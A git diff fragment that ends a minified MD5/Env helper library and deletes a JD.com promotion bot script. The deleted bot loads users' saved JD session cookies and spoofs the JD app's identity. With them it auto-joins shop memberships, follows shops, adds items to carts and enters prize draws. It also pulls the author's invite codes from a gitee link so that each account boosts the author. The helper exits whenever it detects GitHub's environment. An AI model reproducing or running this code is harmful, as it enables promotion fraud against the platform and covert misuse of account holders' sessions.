{ return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jinggengjcq_dapainew4.js b/backUp/jd_jinggengjcq_dapainew4.js deleted file mode 100644 index 41d9730..0000000 --- a/backUp/jd_jinggengjcq_dapainew4.js +++ /dev/null @@ -1,537 +0,0 @@ -/* -https://jinggengjcq-isv.isvjcloud.com/fronth5/#/pages/unitedCardNew2021110105/unitedCardNew2021110105?actId=65fcf625b7c7_11015 -*/ -const $ = new Env("大牌联合"); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -const cp = $.isNode() ? require('child_process') : ''; -let cookiesArr = [], cookie = '', message = ''; -const Base64 = require("js-base64") -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/dongge/raw/master/dongge/jinggengjcq_dapainew.json') - if(authorCodeList === '404: Not Found'){ - authorCodeList = [ - 'fuMB6t0LHdtq7Dc8pm+TwF4tLNYA4seuA67MOIYQxEk3Vl9+AVo4NF+tgyeIc6A6kdK3rLBQpEQH9V4tdrrh0w==', - ] - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - $.appkey = "51B59BB805903DA4CE513D29EC448375" - $.userId = "10299171" - $.actId = "65fcf625b7c7_11015" - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - console.log('去助力 -> '+$.authorCode); - await openCardNew(); - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function openCardNew() { - $.token = null; - $.buyerNick = null; - $.activityInfo = null; - await getToken(); - if ($.token) { - await task('activity_load', { - "actId": $.actId, - "inviteNick": $.authorCode, - "jdToken": $.token, - "source": "01", - }) - if ($.buyerNick) { - console.log('1.助力码 -> '+$.buyerNick) - if ($.index === 1) { - ownCode = $.buyerNick - console.log("后面的将给这个助力码助力 -> "+ownCode) - } - console.log('2.绑定助力 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "relationBind", - "inviterNick": $.authorCode, - }) - await task('shopList', { - "actId": $.actId, - }) - console.log('3.关注店铺 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "uniteCollectShop", - }) - console.log('4.抽奖 ->') - await task('draw/post', { - "actId": $.actId, - "usedGameNum": "2", - "dataType": "draw", - }) - console.log('5.加入会员 ->') - if ($.shopList) { - console.log('会员卡数量 -> '+$.shopList.length) - for (const vo of $.shopList) { - $.log(`${vo.userId}`) - if (!vo.open) { - $.log("开通会员") - await getShopOpenCardInfo(vo.userId) - await bindWithVender(vo.userId) - await task('complete/mission', { - "actId": $.actId, - "shopId": vo.userId, - "missionType": "openCard", - }) - await $.wait(3000) - } else { - $.log("已经是会员了") - } - await $.wait(500) - } - } - console.log('6.加入购物车 ->') - await task('complete/mission', { - "actId": $.actId, - "missionType": "uniteAddCart", - }) - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, preParams) { - body = { - "jsonRpc": "2.0", - "params": { - "commonParameter": { - "appkey": $.appkey, - "m": "POST", - "timestamp": new Date(), - "userId": $.userId - }, - "admJson": { - "method": `/openCardNew/${function_id}`, - "userId": $.userId, - "buyerNick": $.buyerNick ? $.buyerNick : "" - } - } - } - Object.assign(body.params.admJson, preParams) - return new Promise(resolve => { - $.post(taskUrl(function_id, body), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.success) { - if (data.data.status === 200) { - switch (function_id) { - case 'activity_load': - $.buyerNick = data.data.data.buyerNick; - console.log("[ "+data.data.data.cusActivity.actName+" ]"); - break; - case 'shopList': - $.shopList = data.data.data.cusShops; - break; - case 'complete/mission': - console.log(data.data.data.remark); - break; - case 'draw/post': - console.log(data.data.data.awardSetting.awardName); - break; - default: - break; - } - } - } - - } else { - $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify({ venderId: venderId, channel: 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify({ "venderId": venderId, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "channel": 401 }))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent('https://jinggengjcq-isv.isvjcloud.com/fronth5')}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - console.log("开卡成功") - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body) { - return { - url: `https://jinggengjcq-isv.isvjcloud.com/dm/front/openCardNew/${function_id}?&mix_nick=${$.buyerNick ? $.buyerNick : ""}`, - headers: { - Host: 'jinggengjcq-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/json; charset=utf-8', - Origin: 'https://jinggengjcq-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: 'https://jinggengjcq-isv.isvjcloud.com/fronth5/', - Cookie: cookie - }, - body: JSON.stringify(body) - - } -} - -function getMyPing() { - let opt = { - url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzdz1-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzdz1-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getAuthorCodeList(url) { - return new Promise(resolve => { - const options = { - url: `${url}?${new Date()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - $.get(options, async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) data = JSON.parse(data) - } - } catch (e) { - $.logErr(e, resp) - data = null; - } finally { - resolve(data); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 